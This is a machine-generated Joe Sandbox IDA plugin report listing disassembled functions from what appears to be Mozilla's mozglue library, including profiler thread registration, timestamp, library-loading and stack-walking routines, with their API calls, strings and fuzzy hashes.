Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 8472d5cf768d07c2be179fcfde07cec678ba1d2ca09e1c9298f3d3a4e379f0f8
Instruction ID: c5bd1385a2588e7ed8cee3d1fd20ef01fd168c0817949a3fecf4620ccd85b257
Opcode Fuzzy Hash: 8472d5cf768d07c2be179fcfde07cec678ba1d2ca09e1c9298f3d3a4e379f0f8
Instruction Fuzzy Hash: 48812571A057019FDB10DF64C940AAEB7B5FF85308F44852DE8469BB51EB30D98DCBA2

Function 6CA8EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8EE60
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EE6D
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA8EEA5
CloseHandle.KERNEL32(?), ref: 6CA8EEB4
free.MOZGLUE(00000000), ref: 6CA8EEBB
GetCurrentThreadId.KERNEL32 ref: 6CA8EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8EECF

Part of subcall function 6CA8DE60: GetCurrentThreadId.KERNEL32 ref: 6CA8DE73
Part of subcall function 6CA8DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA54A68), ref: 6CA8DE7B
Part of subcall function 6CA8DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA54A68), ref: 6CA8DEB8
Part of subcall function 6CA8DE60: free.MOZGLUE(00000000,?,6CA54A68), ref: 6CA8DEFE
Part of subcall function 6CA8DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA8DF38

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA8EF1E
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EF2B
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EF59
GetCurrentThreadId.KERNEL32 ref: 6CA8EFB0
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EFBD
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8EFE1
GetCurrentThreadId.KERNEL32 ref: 6CA8EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8F000

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CA8F02F

Part of subcall function 6CA8F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA8F09B
Part of subcall function 6CA8F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CA8F0AC
Part of subcall function 6CA8F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CA8F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CA8F008
[I %d/%d] profiler_stop, xrefs: 6CA8EED7

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d5f159ac2a6b530140a1509426376d05ce4daa833dce10f2c436e5b82c0fc460
Instruction ID: 10f4854cafd27e9922c39e3b85adb3210f061b2e7605d58aac49a551666a7aa0
Opcode Fuzzy Hash: d5f159ac2a6b530140a1509426376d05ce4daa833dce10f2c436e5b82c0fc460
Instruction Fuzzy Hash: 54510439702312DFDB085B68E9087953BB4FB46319F14861DE91583B40DB794ACACBF6

Function 6CA55E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA55E9D

Part of subcall function 6CA65B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA656EE,?,00000001), ref: 6CA65B85
Part of subcall function 6CA65B50: EnterCriticalSection.KERNEL32(6CACF688,?,?,?,6CA656EE,?,00000001), ref: 6CA65B90
Part of subcall function 6CA65B50: LeaveCriticalSection.KERNEL32(6CACF688,?,?,?,6CA656EE,?,00000001), ref: 6CA65BD8
Part of subcall function 6CA65B50: GetTickCount64.KERNEL32 ref: 6CA65BE4

GetCurrentThreadId.KERNEL32 ref: 6CA55EAB
GetCurrentThreadId.KERNEL32 ref: 6CA55EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA55ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CA56017

Part of subcall function 6CA44310: moz_xmalloc.MOZGLUE(00000010,?,6CA442D2), ref: 6CA4436A
Part of subcall function 6CA44310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA442D2), ref: 6CA44387

moz_xmalloc.MOZGLUE(00000004), ref: 6CA55F47
GetCurrentProcess.KERNEL32 ref: 6CA55F53
GetCurrentThread.KERNEL32 ref: 6CA55F5C
GetCurrentProcess.KERNEL32 ref: 6CA55F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CA55F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CA55F27

Part of subcall function 6CA5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA5CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA555E1), ref: 6CA55E8C

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA555E1), ref: 6CA5605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA555E1), ref: 6CA560CC

Strings

GeckoMain, xrefs: 6CA55ECE, 6CA56015

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 05b5332467d20a5aceddd551e6cb8094d3784e85298335f74d281f471e9f671c
Instruction ID: b6b695081448b73c12584027b3386130c3dc91c62b0bb11b99697a3eaa93a416
Opcode Fuzzy Hash: 05b5332467d20a5aceddd551e6cb8094d3784e85298335f74d281f471e9f671c
Instruction Fuzzy Hash: F27127B0604740CFD714DF28D580A6ABBF0FF49308F44892DE48687B42D731E999CB92

Function 6CA59590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA431C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CA43217
Part of subcall function 6CA431C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CA43236
Part of subcall function 6CA431C0: FreeLibrary.KERNEL32 ref: 6CA4324B
Part of subcall function 6CA431C0: __Init_thread_footer.LIBCMT ref: 6CA43260
Part of subcall function 6CA431C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CA4327F
Part of subcall function 6CA431C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA4328E
Part of subcall function 6CA431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA432AB
Part of subcall function 6CA431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA432D1
Part of subcall function 6CA431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA432E5
Part of subcall function 6CA431C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA432F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CA59675
__Init_thread_footer.LIBCMT ref: 6CA59697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CA596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CA59707
__Init_thread_footer.LIBCMT ref: 6CA5971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA59773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CA597B7
FreeLibrary.KERNEL32 ref: 6CA597D0
FreeLibrary.KERNEL32 ref: 6CA597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CA59824

Strings

ntdll.dll, xrefs: 6CA596E3
NtMapViewOfSection, xrefs: 6CA59701
MapViewOfFileNuma2, xrefs: 6CA597B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CA59670

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: cf9b74634bba06d327f86d1898356fd4a0f3487e96677dec71d223369bd655bf
Instruction ID: 71b8959baedd07478479db91fe36533c22f107fd2a5284bfd0657ed75e5ed2a8
Opcode Fuzzy Hash: cf9b74634bba06d327f86d1898356fd4a0f3487e96677dec71d223369bd655bf
Instruction Fuzzy Hash: DB61C5B57003069FDF048F74DD84B9A3BB5FB4A314F44C519E9159BB80E730A9AACBA1

Function 6CA57FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CA58007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CA5801D

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CA5802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CA5803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CA5808D

Part of subcall function 6CA5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA5CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CA5809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CA580B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA580DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA580ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA580FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA5810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA58133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CA58149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CA58167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CA5817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA58199

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: f6f6ea6ecfb21d4347c5af7f4bf1f494d71b9ec984225ab51ff30d06f740d7ab
Instruction ID: 78dcbe3a7e18b2164e8d985a4be928f12a7f2609f80b3b353a76f3c6112c75b2
Opcode Fuzzy Hash: f6f6ea6ecfb21d4347c5af7f4bf1f494d71b9ec984225ab51ff30d06f740d7ab
Instruction Fuzzy Hash: 3651A6B1E002045BDF00DFA9DD84AEFB7B9EF49224F584125E815F7741E7309959CBA1

Function 6CAA6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CACF618), ref: 6CAA6694
GetThreadId.KERNEL32(?), ref: 6CAA66B1
GetCurrentThreadId.KERNEL32 ref: 6CAA66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CAA66E1
EnterCriticalSection.KERNEL32(6CACF618), ref: 6CAA6734
GetCurrentProcess.KERNEL32 ref: 6CAA673A
LeaveCriticalSection.KERNEL32(6CACF618), ref: 6CAA676C
GetCurrentThread.KERNEL32 ref: 6CAA67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CAA6868
RtlCaptureContext.NTDLL ref: 6CAA687F

Strings

WalkStack64, xrefs: 6CAA6890

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 073cf24469fd80ccb77a7bafa9154a304602d65117dfe5c594cb86475fa4a13b
Instruction ID: d662bf84efed627ff634e3fc044c95d277114ed8581d0429982001d6589f3353
Opcode Fuzzy Hash: 073cf24469fd80ccb77a7bafa9154a304602d65117dfe5c594cb86475fa4a13b
Instruction Fuzzy Hash: 2851DD71A09301AFDB15CF68C844B9ABBF4BF89714F04892DF89897740D770A58ACF92

Function 6CA8DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8DE73
GetCurrentThreadId.KERNEL32 ref: 6CA8DF7D
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8DF8A
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8DFC9
GetCurrentThreadId.KERNEL32 ref: 6CA8DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CA54A68), ref: 6CA8DE7B

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

Part of subcall function 6CA7CBE8: GetCurrentProcess.KERNEL32(?,6CA431A7), ref: 6CA7CBF1
Part of subcall function 6CA7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA431A7), ref: 6CA7CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CA54A68), ref: 6CA8DEB8
free.MOZGLUE(00000000,?,6CA54A68), ref: 6CA8DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CA8DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CA8E00E
[I %d/%d] locked_profiler_stop, xrefs: 6CA8DE83
<none>, xrefs: 6CA8DFD7

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: d82694e31c483f98a756366c06d2b128dff1ad6090d036d076f4ad10c37d5d9d
Instruction ID: 55488d08fc92e6c1754b36164317418fd2e638f048d3f8e83a0ac3632dc4142b
Opcode Fuzzy Hash: d82694e31c483f98a756366c06d2b128dff1ad6090d036d076f4ad10c37d5d9d
Instruction Fuzzy Hash: 4841E635B022129FDB189B69DE087A97B75FB4130CF04811AE9059BB01CB359D8ACBE2

Function 6CA9D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA9D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA9D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9D52A
GetCurrentThreadId.KERNEL32 ref: 6CA9D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA9D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9D55F
free.MOZGLUE(00000000), ref: 6CA9D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA9D5D3
GetCurrentThreadId.KERNEL32 ref: 6CA9D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA9D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9D652
GetCurrentThreadId.KERNEL32 ref: 6CA9D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA9D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA9D6A2

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 81d4bb14271c08f983e6f750d1e7b9eaa71d4cd3074ee90c468c1f9104fa89c6
Instruction ID: ed26e00001fcf1e76774bb4382fc905182a75e4a1da497b9207c45d8f10c11bd
Opcode Fuzzy Hash: 81d4bb14271c08f983e6f750d1e7b9eaa71d4cd3074ee90c468c1f9104fa89c6
Instruction Fuzzy Hash: 96518D75A04706DFC704CF34D484A9ABBF4FF89318F00862EE95A87710DB31A989CB91

Function 6CA65670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CA656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CA656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CA65744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CA657BC
GetTickCount64.KERNEL32 ref: 6CA658CB
EnterCriticalSection.KERNEL32(6CACF688), ref: 6CA658F3
__aulldiv.LIBCMT ref: 6CA65945
LeaveCriticalSection.KERNEL32(6CACF688), ref: 6CA659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CACF638,?,?,?,?), ref: 6CA659E9

Strings

MOZ_APP_RESTART, xrefs: 6CA656CC

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 255bc811a14802e4dc55b5ff7564063c408e25fccbc0fb56d4ab125f1d12c4f2
Instruction ID: 34a0983e75d051ee309c0559f7e35855ebe4fc7e5a81992199fb64cf73d2d3b6
Opcode Fuzzy Hash: 255bc811a14802e4dc55b5ff7564063c408e25fccbc0fb56d4ab125f1d12c4f2
Instruction Fuzzy Hash: 2BC18F71A087819FDB09CF29C84065AB7F1FFDA714F058A1DE8C557761D7309986CB82

Function 6CA8EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8EC8C

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

GetCurrentThreadId.KERNEL32 ref: 6CA8ECA1
AcquireSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CA8ECC5
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CA8ED19
CloseHandle.KERNEL32(?), ref: 6CA8ED28
free.MOZGLUE(00000000), ref: 6CA8ED2F
ReleaseSRWLockExclusive.KERNEL32(6CACF4B8), ref: 6CA8ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CA8EC94

Memory Dump Source

